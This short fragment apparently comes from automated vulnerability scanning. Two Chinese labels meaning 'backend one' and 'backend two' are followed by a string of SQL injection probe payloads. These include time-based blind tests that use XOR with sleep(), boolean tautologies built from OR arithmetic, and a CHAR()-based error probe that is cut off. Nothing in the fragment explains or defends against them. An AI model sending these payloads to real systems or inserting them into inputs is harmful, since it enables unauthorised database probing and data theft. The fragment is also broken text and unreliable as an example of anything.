後台二 後台一 0'XOR(if(now()=sysdate(),sleep(19.726),0))XOR'Z -1' OR 3+727-727-1=0+0+0+1 -- -1' OR 3+331-331-1=0+0+0+1 or 'uFvGwMjE'=' 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z (select convert(int,CHAR(52) CHAR(67) CHAR(117) CHAR(72) CHAR(69 0'XOR(if(now()=sysdate(),sleep(9.863),0))XOR'Z -1+OR+3*2<(0+5+389-389)+--